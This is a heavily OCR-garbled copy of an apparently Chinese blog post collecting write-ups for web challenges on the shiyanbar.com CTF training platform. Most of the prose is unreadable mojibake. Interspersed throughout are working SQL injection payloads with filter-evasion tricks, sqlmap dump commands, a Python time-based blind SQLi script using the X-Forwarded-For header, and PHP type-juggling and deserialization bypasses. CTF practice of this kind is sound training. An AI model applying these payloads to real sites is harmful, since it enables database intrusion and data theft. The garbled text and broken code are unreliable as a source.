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XERE: phpFHEE FARTE

JECEEREE: httpy//www.cnblogs.comy/TGhost/p/7220564.html

RAR

#HiE B SQLEA
http://www.shiyanbar.com/ctf/1875
1) REE?id=1,%F iR

2)AE?d=1 M4 T, AEE, HHAAEAR:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right

syntax to use near """’ at line 1

3) Tt /G 6 R B Nflag, FillMiiunion select flag from flag

4)IRIES AWK, U2 mA, BEREORFER A" REE, EAEAHN?1d=1"union select flag from flag where
.

't

E & #Z:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for

the right syntax to use near 't'='t'' at line 1

. BB, REZET, HMMXEFEHEIET
5)HEXEFfrom, whereBHIEIRIR, &EME: corresponds to your MySQL server version for the right syntax to use
near

'unionselectflag fromflag where't'="t'' at line 1

AT s

6)H "+ SRMABEMHK: ?id=1 '+unionunion +selectselect +flag+fromfrom +flag+wherewhere+'t'='t

# B ISQLIEA Z 2


https://blog.csdn.net/aeoj41897
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25BC%2580%25E5%258F%2591%25E5%25B7%25A5%25E5%2585%25B7&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/TGhost/p/7220564.html

http://www.shiyanbar.com/ctf/1908

1. BIE¥ BxRid=1 , id=2, id=3 ExREFEURARF=ZLT

2.id=1" &/rmysql B4R KX Wimysql iEA)N select name from user where
id="input"'

3.id=1 ' HEHF-IEK B~ SQLi detected! B Fk&HEITUE

ZERXR=METH WE BAN  ErKE1 KAEMERIIKsql B A REERIITRITEZER
THIENIEH

gy B KM

id=1'%0Band%0B'1'='1 %0B ERZTH KBHW Bl %0a-%0z + /**/HE LR

S
S|
A
i3

ID: 1'and'1'="1
name: baloteli

RJE K

RIXA B4 Tkt N

2id=1"||"id" ||" WUER RFHHEE REEFAHRZ select name from user where
id="1"||"id | |'" W& BEERRPEAFREFZATUSMIA| |2 REREBEAZHAEKHAT L
I: 1'|| id ||’

name: baloteli



D: 1'|] id ||
name: kanawaluo

ID: 1'|| id |]"
name: dengdeng

RIEHE ZGwebl BATTURFE  EF—Aflagk

y-& e Wav:ix i E S CIDE

?id=1"'/*lu%6eion*/ /*!se%6cect*/flag/*!from*/flag/*!where*/"''="

H¥ getflag

#E A KISQLIEA Z3

http://www.shiyanbar.com/ctf/1909

A8, BAHSQL mapRi#;

1)#ESQL mapfs4: sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

— B BT RS BB



2)FIRME KW IER R BIEE: glmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --
current-db

3)FkMiEIRE R sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables

A)BREERFlag®RLZ FHHIF): sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1"
--columns -T "flag"

5) Bk G dump I %E: sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --
dump -C "flag" -T "flag"

tips: WRSQL mapHMRHRAIEHEFEEFSQL map, HEAREBF THEAFRTIE.

#R T B ME R AN



http://www.shiyanbar.com/ctf/1854

B GE— TR

EBATRZ K B key BEATpostiRAZ, BHHEIFKK

KIflag, HMBLRTkey HSHIRTM M KIflagiiTpostiRATm, HEUHER, BHAFTHWAT, TH
Bt b e A

import requests

import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"

rs = requests.get(url).headers['FLAG"]

v = base64.b64decode(rs)

print requests.post(url=url,data={"key"':v.split(':")[1]}).content

tips: W F&Frequeststiitfibaseca ik R %A Llpip FE, AXpipHIa] USHERZATHEE



#H B A

http://www.shiyanbar.com/ctf/1846

WIEXBLE, fEurl/GENindex. php, BI85 3] flag

#Forms

http://www.shiyanbar.com/ctf/1819

SFL2EBEFIRARD



K showsourcel)E N0, BN, 18FIRRGRAIIFARD

HER
if ($a == —19827747736161128312837161661727773716166727272616149091823847)
BpinkIE SN

-1982774773616112831283716166172777371616672727261614900182384713 45

#HRMEBERS

http://www.shiyanbar.com/ctf/1810

BRATERRNE (F3hEHE



REERBAMA—ANFHFEH, £2dndS5/55%T0, XRFEKphpiaRA . X B LR AAANER AT DUET HIME

R G B EOFLHIMD5: http://www.mamicode.com/info-detail-1719711.html

R ATMALFP RS

WG IR

T IA G

$unserialize_str = $_POST[ 'password']; $data_unserialize =
unserialize($unserialize_str); if($data_unserialize['user'] == "???' &&
$data_unserialize['pass']=="???") { print_r($flag); } HRKKBZEKphpF5iE: REMAR, K
WAT/R.  EEEREE

B, AT postiRX MpasswordHE& T " KFFIML" BB — A EdH, ERFAEKuserfiipass
#WG R, BITENflag, EREBRMILIER/E 222" BH4, ERERANA LLEZ DS B 5 2w &4 K ==,
R phpdgAl;

<?php if(true=="pcat"){ echo "ok"; } ?>

boolZK A I trueR{ER F /P AT AR AMER, UM FEEunserialized# json_decodefI &,
IR AMiEbool K A, Rk Bk . IMARMNME—NA, W24 TR, 5l Ruserfipass, #Zbool
KK true, TRENBZ

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

(affFarray, sfFstring, bfRFEbool, M FREANE/KE)

BEEEL R HpostRAZHMATLAT .



#Once More

http://www.shiyanbar.com/ctf/1805

—IERI AR S, BIBiFEAER, passwordhZikF 99999991 H ik Bk F* - *

ok, BE#:Mi&passwordiiT, password=1e8%00*-*

(FE: %00 BAAEL PN -"2TE X, HHA%0ENJE, nl*-*

b 25 %] flag, over!

#Guess Next Session



http://www.shiyanbar.com/ctf/1788

X—EFERBKIEEE, RE TN KINK M, cookies manager+

A, KEFERS

Vi Bl get SREUHIE % Fif ses sion B AR A 47

ffiFflcookies managers +, MI#PHP session

HHguess

#FALSE

http://www.shiyanbar.com/ctf/1787

1. <html>



2. <head>
3. <title>levell</title>
4. <link rel='stylesheet' href='style.css' type='text/css'>
5. </head>
6. <body>
7.
8. <?php
9. require ‘'flag.php';
10.
11. if (isset($_GET['name']) and isset($_GET['password’'])) {
12. if ($_GET['name'] == $_GET[ 'password'])
13. print 'Your password can not be your name.';
14. else if (shal($_GET['name']) === shal($_GET['password']))
15. die('Flag: '.$flag);
16. else
17. print '<p class="alert">Invalid password.</p>";
18. }
19. >
20.
21. <section class="login">
22. <div class="title">
23. <a href="./index.txt">Level 1</a>
24. </div>
25.
26. <form method="get">
27. <input type="text" required name="name" placeholder="Name"/><br/>
28. <input type="text" required name="password" placeholder="Password" /><br/>
29. <input type="submit"/>
30. </form>
31. </section>
32. </body>

S RASIZEE, RIGET T HiAFBnamefpassword, 3KEflagBERHI%&MRE: name != password &
shal(name) == shal(password), EFRRRXZANAIEER, HEALIRIMHshal() REIRFERSS. wR
EXHNF B E B, W: Pname[ ]=a&password[ J=b, XHEFESH—AbRIWTE BB AR LR ARK, B
TE5E b AIWTET B Fshal () BREUCVE BB KA, KR IR E false, if &MHMOL, KB flag.



#EfEg

http://www.shiyanbar.com/ctf/1781

371, —HAJiEAR ok

#what a fuck! XRH 2 REVE?

http://www.shiyanbar.com/ctf/56

BERFMER, jotherfmtd, —HFES. W UUERMEN, P ATELER, FEchromed K, F12, H—4
console, HiMiAEAAY, EZE, #Hikey



HXAFRRA R R

http://www.shiyanbar.com/ctf/33

8 FISQLIEAN

BREAEK

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,1

EHIEE

http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20@select%201,SCHEMA_ NAME%20from%20information_schema.SCHEMATA

wRA

http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20select’%201, TABLE_NAME%20from%20information_schema.TABLES

B

http://ctf5.shiyanbar.com/8/index.php?
id=1%20union%20select%201, COLUMN_NAME%20from%20information_schema.COLUMNS

koyf A 5E, TR

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201, kOy%20from%20thiskey



#LA\ B K

http://www.shiyanbar.com/ctf/29

k¥or chrome F12

AEREMER, RBER, BEIESMIN—/ .net framework 9.9, WHLE¥IM.NET CLR 9.9 (A
55

RKIEF PR



#Forbidden

http://www.shiyanbar.com/ctf/21

F12, BN, REEHFMBR—T, RBmENKE

B zh-CNAzh-hk

R Ja E T %5 0L T BP v] & B flag

R E R

http://www.shiyanbar.com/ctf/20

RHEE H ##7n“catch”, FHburpsuitedlB ik, FFRINEEIE KL ERepeater



H#E NGO, FHResponsefiith, KIMKRLPHFEL T —ITHERS

¥ “MTQA0Dg20DA4MA=="K il J5, F#Repeaterd H O /EFHIANKI123, EHResponse, KIEFEkey

#ER—THG?

http://www.shiyanbar.com/ctf/1942

fERET

JeitBHusername="TG' —BEIEEBEALTHRARXNMNNG (EFF, RBE—ANFZ/FE) , X ERE{ERN
0 (MiXTFfalse)
RIGo="" XANERR? FERXEMITREET, MLERREL (HEFtrue)

Bt LR AR 5T

select * from user where 1 and 1

H%F select * from user

CXBRARIEHRMEREINU LA S BRflag, BER—ER TR, KAELKAF,! )



W7, %ekmwJLE), bEBRALERRTREM L,

T E < Ntrue

1="1"'

1='1.0"

1="15¥F R (BEEHAHRFHTL)"

0="BR 7 ko FIH LM FRF =

Gtk B RERTEE RN E, EMIBEA NtruefRE R, LRSI G REDLRERBR FARZEFEE—K
)

#who are you?

http://www.shiyanbar.com/ctf/1941

IFENEN, NEREERE, REZELNANBBT

import requests

import time

import sys

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'

def retriveCurrentDatabase():

ascii = -1

1l
=

index

result = ""



while "\x00" not in result:

Il
(]

ascii

for i in range(8):

sql = "222' and (case when (ascii(substring((select database()) from %d for 1))&%d!=0) then
sleep(0.5) else sleep(@) end) and '1'="'1" % (index, pow(2, i))

headers = {'X-Forwarded-For': sql}

starttime = time.time()

requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != "\x00':
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

return result

def retriveTable(database):

database = + database +

ascii = -1
row = 0

while True:

index = 1

roacnl+ = ""



Peouae —

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222' and (case when (ascii(substring((select table_name from
information_schema.tables where table schema=%s limit 1 offset %d) from %d for 1))&%d!=0)
then sleep(0.5) else sleep(®) end) and '1'="'1" % (database, row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}

starttime = time.time()

requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != "\x00':
sys.stdout.write(chr(ascii))

result += chr(ascii)

index += 1

if result == '\x00':
break

ascii = -1

print("")

row += 1

def dumpColumn():

ascii = -1
row = 0

while True:



index = 1

result =

while "\x00" not in result:

I
(]

ascii

for i in range(8):

sql = "222' and (case when (ascii(substring((select flag from flag limit 1 offset %d) from
%d for 1))&%d!=0) then sleep(0.5) else sleep(®) end) and '1'='1" % (row, index, pow(2, i))
headers = {'X-Forwarded-For': sql}

starttime = time.time()

requests.get(url, headers=headers)

if (time.time() - starttime) > 0.1:

ascii += pow(2, i)

if chr(ascii) != "\x00':
sys.stdout.write(chr(ascii))

result += chr(ascii)

index += 1

if result == '\x00':
break
ascii = -1

row += 1

def main():

database = retriveCurrentDatabase()
print('\nCurrent database is %s' % database)
print('Let\'s see the table name in the database!"')
database = database.replace("\x00","")

SRS SR I S D S



rectrivelaole(database)
print('Let\'s dump the flag!')
sys.stdout.write("ctf{")
dumpColumn()
sys.stdout.write("}")

if _name__ == '_main__':
main()
#HE BB T K gaid

http://www.shiyanbar.com/ctf/1940

HEPFBEZANRE, HZ Turl

HioR T XK

THHAZpostHEHIME, KEARKL EHITHE, NXRKE, &

EHRGURF s KT, TP 7, 4R
FEKA "and""select" "from" "where""union""join""sleep" "benchmark"","" ("")"iXtksqlH & F

BIHIARG .



R EEEX A ARE . BERAKS POST[ 'uname' |EHER A sqlE#jinterest®. WIFEHLEER
BT, WRREKE RS RKIpwdF{E5$_POST[ "pwd ' JTELEL, 4nAH F) 46 Hi FLAG.

BRRFLTERE, ZHEUETIERE. B2838flag, BIFHINLMEHE: mysql_num_rows($query) == 1
$key['pwd'] == $_POST[ 'pwd’ -

HEANIN, REBHFAEREEE sqlmap, BRMAE, ARVGXFEM, WHEEMM . FERARERMN
BT .

R EHunion selectiZH|EHEE R, Hokey[ 'pwd' JFI$ _POST[ 'pwd' [ AERMINEHIZF T, HIX
FBARBETIMARE. RFEDATRZHE, ZldBARE, KIS BEERE, SEHE, X
AN ETE, PPRERTRER.

TREHFERE. RINEXNRIHEANZMHB, NXAFHEE-NFEHAWMBET: x' or 1 limit
1#, BMETHE—MRE. BEE KA Skey['pwd'] == $_POST['pwd']. HTHIEEFHERNETL
EIREH, ZOBKWAT . BIERXANFMREES T skey[ 'pwd' A B RE. RER TIRKHE, JLFR
BFET, HiE T pcatlb bR EFAT N, BERREEN, X&7T Aen. BEHEH#Etkey[ 'pwd' 18
NULL. AIREIAREIR™, £TES, #HS5%. NEB B, BREEnysqlBFM. SEEKXIEFSREIT.
BidEdR AP —ESFMAE. BiodE, B8 TRz 4. group by with rollup.

x'or 1 group by pwd with rollup #

BJER#Epwd INULL, playload: x'or 1 group by pwd with rollup limit 1 OFFSET 2#

HEREE

http://www.shiyanbar.com/ctf/1848

AEHKEY RYE, FEW, #EE, RAFEXBB

W LFE FXABER: http://www.cnblogs.com/pcat/p/5478509 . html

HPOENZANTEMT FHANA T, BANEERT



#EILENT

http://www.shiyanbar.com/ctf/1808

BHAECtr1+UBEFEMIEARAS: FTLLE S| admin"A"admin@simplexue.com” AEAEVim.

BEFEHI—, FRHjSHER RN EL B TEstep2.php R . A EEIT Fstep2.php, KU —EBEF Fstep.php.
HT, HEAFiddlerBIE, RRRZ—A302EEM. MAVinstep2.phpht, HELEKEHNER
test@test.com&k F|submit.phpEET . BARMNIFE Vi submit.php, BRKIZ"you are not an
admin",

XAFERT, BT FHAKWriteUp, HRVIMEFZAERR XM, IBARMEN KR E Y
i) . submit.php.swp, RAEXMH. BAFEN, EREHRENE. XEFEMZemailAddressHitoken
WANSH . emailAddressEt2RIA A, Titokenft T AW, i veHKE A0,

M &url: http://ctf5.shiyanbar.com/10/upload/submit.php?
emailAddress=admin@simplexue.com&token=0000000000



#NSCTF web200

http://www.shiyanbar.com/ctf/1760

BHR— I phpinZ K], BIAEERITT

$dd="a1zLbgQsCESEIqRLWUQAYMwLYq2L5VwWBXxqGA3RQAyumZOtmMVSGM2ZwBAtws" ;
$s=str_rotl13($dd);
$a=strrev($s);
$b=base64_decode($a);
for($e=0;%e {
$g=substr($b,%e,1);
$temp=ord($g)-1;
$g=chr($temp);
$aa=%$aa.%g;

}

echo strrev($aa);

?>

#12 Fr 2 48 )

http://www.shiyanbar.com/ctf/62

RIBEBERF T LA/,

2 E®nTauvlaad.



FAX/H HIpPLUY LVUU

user=1 union select concat('bcbe3365e6ac95ea2c0343a2395834dd" )%23 &pass=222

THERUNEN, REEAHREIApwTBRZ111

TRZAT 8RR , KAKH2HH

BJaEFunion® i

SELECT username FROM admin where id =-1 union select
concat('bcbe3365e6ac95ea2c0343a2395834dd ")

FH. {EFIdA-1IFWAPE #feEsunionGHiESR HELZ bcbe3365e6ac95ea2c0343a2395834dd

222)md5

F R pass=222 WM& —NT

#PHP K

http://www.shiyanbar.com/ctf/54

BT P EEhttp: //ctf5. shiyanbar. com/DUTCTF/index. php. txtH KA AT PLATE



idI BT "hackerDI "G AR5 2 flag 165 HE KM G L& "hackerDI"

B L RS B2 — KRS A & "hackerD]", 128 —IK&"hackerD]", FrlASmISH IR T

(NREEEHG, FBEERANTE, HnH/ERI->%254A )

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=hackerD%254A

#HLHE S

http://www.shiyanbar.com/ctf/32

FTHburpEEB—MER, EhttpkEHEM—IxFERL.1.1.1 HREZE.

R AE Rkey T .

#ERRA R



http://www.shiyanbar.com/ctf/2

SQUIEN, fRIEKIR, RAEHERRE, TRESenH, N A\ A7

BEEARE, ZRTMKAZRT, NiZEXHEE, ZREEC, HEHRETHEDHERE,

3T bhttps://www.cnblogs.com/TGhost/p/7220564.html
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